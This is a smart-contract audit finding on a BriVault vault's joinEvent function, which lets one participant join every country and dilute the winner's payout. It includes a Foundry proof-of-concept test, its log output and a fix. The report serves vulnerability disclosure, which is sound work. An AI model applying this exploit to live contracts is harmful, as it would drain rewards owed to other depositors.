Root + Impact
Description
If the participant has malicious intent, they can BriVault::JoinEvent() with different BriVault::countryId multiple times. Though it will not guarantee them will always become the winner, it will reduce the winner share in the price reward.
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
Risk
Likelihood:
If the praticipant has this knowledge, most likely the event will occured.
Impact:
Though it will not guarantee the participant will be the winner, but it will reduce the winner share on the reward price.
Proof of Concept
To see such scenario happen, we can put this test into BriVault.t.sol
function testUserJointEventMultipleTimes() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
uint256 user1Shares = briVault.deposit(5 ether, user1);
for(uint256 i = 0; i < 48; i++){
briVault.joinEvent(i);
}
uint256 balanceBeforuser1 = mockToken.balanceOf(user1);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
uint256 user2Shares = briVault.deposit(5 ether, user2);
briVault.joinEvent(5);
uint256 balanceBeforuser2 = mockToken.balanceOf(user2);
vm.stopPrank();
vm.startPrank(user3);
mockToken.approve(address(briVault), 5 ether);
uint256 user3Shares = briVault.deposit(5 ether, user3);
briVault.joinEvent(30);
vm.stopPrank();
vm.startPrank(user4);
mockToken.approve(address(briVault), 5 ether);
uint256 user4Shares = briVault.deposit(5 ether, user4);
briVault.joinEvent(10);
uint256 balanceBeforuser4 = mockToken.balanceOf(user4);
vm.stopPrank();
console.log("user3 share: ", user3Shares);
console.log("user3 country ", briVault.userToCountry(user3));
console.log("user2 share: ", user2Shares);
console.log("user2 country ", briVault.userToCountry(user2));
console.log("user1 share: ", user1Shares);
console.log("user1 country ", briVault.userToCountry(user1));
console.log("user4 share: ", user4Shares);
console.log("user4 country ", briVault.userToCountry(user4));
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(5);
console.log("total price is: ", briVault.finalizedVaultAsset());
console.log("winner is: ", briVault.getWinner());
vm.stopPrank();
vm.startPrank(user1);
vm.expectRevert(abi.encodeWithSignature("didNotWin()"));
briVault.withdraw();
vm.stopPrank();
vm.startPrank(user2);
uint256 balanceBefore = mockToken.balanceOf(user2);
briVault.withdraw();
uint256 balanceAfter = mockToken.balanceOf(user2);
console.log("withdraw amount: ", balanceAfter - balanceBefore);
vm.stopPrank();
vm.startPrank(user3);
vm.expectRevert(abi.encodeWithSignature("didNotWin()"));
briVault.withdraw();
vm.stopPrank();
vm.startPrank(user4);
vm.expectRevert(abi.encodeWithSignature("didNotWin()"));
briVault.withdraw();
vm.stopPrank();
}
The log output will be
Logs:
user3 share: 4925000000000000000
user3 country Serbia
user2 share: 4925000000000000000
user2 country Ecuador
user1 share: 4925000000000000000
user1 country Iraq
user4 share: 4925000000000000000
user4 country Japan
total price is: 19700000000000000000
winner is: Ecuador
shares 4925000000000000000
vaultasset 19700000000000000000
withdraw amount: 402040816326530612
Thus we can see that the only winner is user2. And total pool prize should be 4.925 x 1e18 x 4 = 19.7 x 1e18. The whole total prize should be withdraw to user2, but instead user2 withdraw amount only 0.402 x 1e18
Recommended Mitigation
Constraint that each participant only can joint into 1 country. Inside BriVault.sol contract
/**
@dev allows users to join the event
*/
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
// add check if user already join team
+ bytes memory userCountry = bytes(userToCountry[msg.sender]);
+ if (userCountry.length > 0){
+ revert("Already join a team");
+ }
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}